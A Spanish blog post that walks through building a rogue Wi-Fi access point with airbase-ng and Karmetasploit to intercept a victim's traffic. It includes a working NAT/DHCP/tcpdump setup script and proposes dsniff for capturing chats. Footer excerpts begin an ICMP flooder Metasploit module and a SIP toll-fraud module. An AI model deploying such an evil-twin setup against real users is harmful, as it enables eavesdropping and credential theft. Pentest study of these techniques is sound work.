Skip to main content

Karmetasploit en Backtrack (I)

Hace algún tiempo a través de PenTestIt descubrí algo que me sorprendió mucho a primera vista: Karmetasploit, en la introducción del proyecto nos cuentan un poco de historia:

"La versión original de KARMA dependía de una versión modificada del controlador Madwifi para tarjetas inalámbricas Atheros. Si bien este enfoque funciona, se limita a los tipos de tarjetas de red que se pueden utilizar y requiere un cierto esfuerzo para mantener el parche con la última versión del código fuente de madwifi. Para remediar esto, los desarrolladores de Aircrack-NG (específicamente Hirte) desarrolló punto de acceso en modo usuario que funciona con cualquier tarjeta inalámbrica que soporte el modo monitor y la inyección. Esta herramienta se llama 'airbase' y fue incluida en la versión 1.0rc1 de Aircrack-ng. No sólo resuelve los límites de hardware de utilizar un controlador madwifi parcheado, también hace mucho más fácil modificar e integrar nuevas funciones."

Después de realizar distintas pruebas(unas con más éxito que otras) siguiendo la información que iba encontrando observé que casi todos utilizaban las distintas posibilidades de combinación que ofrecen Aircrack-ng,
Karma y Metasploit para conseguir disferentes tipos de ataques. Este tema me llamó mucho la atención y se me ocurrió unficar todo esto así que voy a darle unas vueltas al tema a ver que sale de aquí. A las herramientas mencionadas hay que añadir un componente de ingeniería social para conseguir que la víctima se conecte al nuestro punto de acceso pero no va ser necesario, veremos aún teniendo nuestra propia conexión, tendemos a usar las de los demás :).

Como cliente víctima voy a usar un equipo con el sistema operativo Windows 7 ya que la mayoría de los ejemplos que hay por ahí prueban con Windows XP sin actualizar(más adelante entenderemos el porqué). El ataque se va a dividir en dos partes fundamentales:
- Montar el punto de acceso ficticio y dar acceso a las víctimas a Internet.
- Arrancar el Karmetasploit para que capture todo lo que pueda.


Para la primera utilizo la suite Aircrack-ng, más concretamente el paquete airbase-ng, recientemente descubrí una interfaz gráfica que soporta algunas de sus funcionalidades y que me resulta muy cómoda para ahorrarme el reescribir comandos y parámetros al realizar auditorías en redes inalámbricas. Se llama Gerix Wifi Cracker y está incluida en de Backtrack, no hay demasiado en la red sobre su uso, en este video los creadores muestran como utilizarlo para romper una clave WEP:

Creo el punto de acceso falso siguiendo estos pasos:
Paso 1 - Ponemos la tarjeta en modo monitor en la pestaña de Configuración (Enable/Disable Monitor Mode) y vemos que mantiene wlan0 como estaba y crea una nueva(mon0) en modo monitor.
Paso 2 - En Fake AP se configuran los parámetros de la red inalámbrica, la dejaremos sin contraseña, simplemente definiremos un nombre y un canal, marcando la opción Respond to all probes(recomendación de Karmetasploit) . Al arrancarlo se abre un xterm con el comando ejecutado en la cabecera de la ventana para que sepamos los parámetros exactos que se le pasan a airbase-ng:
Ahora si buscamos redes inalámbricas en el equipo cliente vemos que ya aparece la nueva.



Paso 3 - En este punto yo utilizo el siguiente script para compartir la conexión a internet y terminar la configuración del entorno :

#!/bin/bash
## NOTE: Replace YOURESSID with the essid you want
## to connect and its key(ASCII) and YOURIFACE for
## your interface with access to internet.

# delete old database
rm karma.db
# stops running services (if any)
killall dhcpd3
# connects to internet (if not)
ifconfig YOURIFACE down
iwconfig YOURIFACE essid YOURESSID key s:YOURKEY
dhclient YOURIFACE
# shares internet conexion
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F
iptables -t nat -A POSTROUTING -o YOURIFACE -j MASQUERADE
# ups fake access point interface
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
# starts dhcp and dns server
dhcpd3 -cf /root/dhcpd.conf at0
# starts tcpdump
tcpdump -i at0 -s 65535 -w capture5 &

Comentarios acerca de el script:
- Tuve que desinstalar el paquete dnsmasq-base porque había conflictos con el dhcpd3 ya que es un servidor DHCP también, entre otras cosas. La salida al arrancarlo dice que hay un error de permisos pero funciona igual.
- Pego a continuación mi fichero de configuración (/etc/dhcp3/dhcpd.conf), utilizo los DNS de Google porque así me ahorro el tener que configurar un servidor(en los ejemplos que ví lo suelen hacer con bind o con el dnsmasq) en la red local.

option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
# Google DNS server
option domain-name-servers 8.8.8.8;
}


- En la página del proyecto aconsejan realizar una captura con tcpdump por si Karmetasploit fallase, en este ejemplo el parámetro -s es para que "esnife" de forma que los paquetes puedan ser analizados posteriormente con el Wireshark.
- Como solo tengo una tarjeta inalámbrica en el equipo usaré
wlan0 para seguir conectado a internet y mon0 para crear la red inalámbrica, esto en teoría debería ser posible pero en la práctica a veces desconecta, lo soluciono reconectandola: iwconfig wlan0 essid ... & dhclient wlan0

Como me estoy alargando mucho dejo la segunda parte del ataque para otra entrada, lo que sí se puede hacer ya es usar algún
sniffer "de toda la vida" ya que todo lo que envía y recibe el usuario pasa por nuestra interfaz at0. Aprovechando que estoy usando el Messenger en el equipo víctima mientras escribo esto voy a probar con dsniff, que creo recordar que tenía una herramienta para capturar conversaciones, tras una pequeña búsqueda en Google... :)



Jesús Pérez

Popular posts from this blog

ISO 27001: Inventario de los activos de información

Uno de los primeros pasos que debe seguir la entidad para adaptarse a la norma ISO 27001 es realizar el inventario de activos que contendrá todos aquellos activos de información que tienen algún valor para la organización y que quedan dentro del alcance del SGSI . En un principio puede parecer un poco abrumador para un principiante(como yo) por la enorme cantidad de activos que se te van ocurriendo por eso decidí empezar por clasificarlos de alguna forma, de entre las múltiples maneras que me encontré elijo la definida por los expertos del foro ISO27k ya que me parece la más completa, mostrando ejemplos de cada tipo y es válida para entidades de muy distinta naturaleza. Éste podría ser un buen punto para comenzar siempre teniendo en cuenta lo que nos aconsejan también en ese foro: "Debido a que los activos son algo cambiante, incluso si pudieras cubrir absolutamente todo lo que hay hoy, mañana la situación sería un poco diferente y más en unas semanas, meses o años. Así que

SIP INVITE attack with Metasploit

Some days ago my friend  @pepeluxx  wrote  another post  about INVITE attacks. He spoke about a  @sinologic   project  which allows to everybody passing some security tests to SIP servers. Furthermore he also published a perl script to do the same task. So I implemented it on Metasploit because I think It could be really useful during a pentesting. It’s interesting because these attacks are really dangerous, normally, attackers try to call to expensive locations. This target numbers often have special charges and they make money with this. Here there are two well known examples: http://blog.sipvicious.org/2010/12/11-million-euro-loss-in-voip-fraud-and.html http://snapvoip.blogspot.com.es/2009/02/calls-to-cuba-and-voip-attacks.html I’m not going to deep in this vector because of being a well known (and old!!) one. Basically the attacker tries to make a call using a misconfigured PBX. This is allowed because  SIP RFC  says that an extension has not to be registered to be abl

Another simple Metasploit module: ICMP Flooder

Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood , Smurf or Ping of death . Next pictures show the module in  the same way of last post. Code: ------------------------------------------------------------------------- require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Dos include Msf::Exploit::Capture def initialize super( 'Name' => 'ICMP Flooder', 'Description' => 'A simple ICMP flooder', 'Author' => 'Jesus Perez', 'License'     => MSF_LICENSE, 'Version' => '$Revision: 0 $' ) register_opt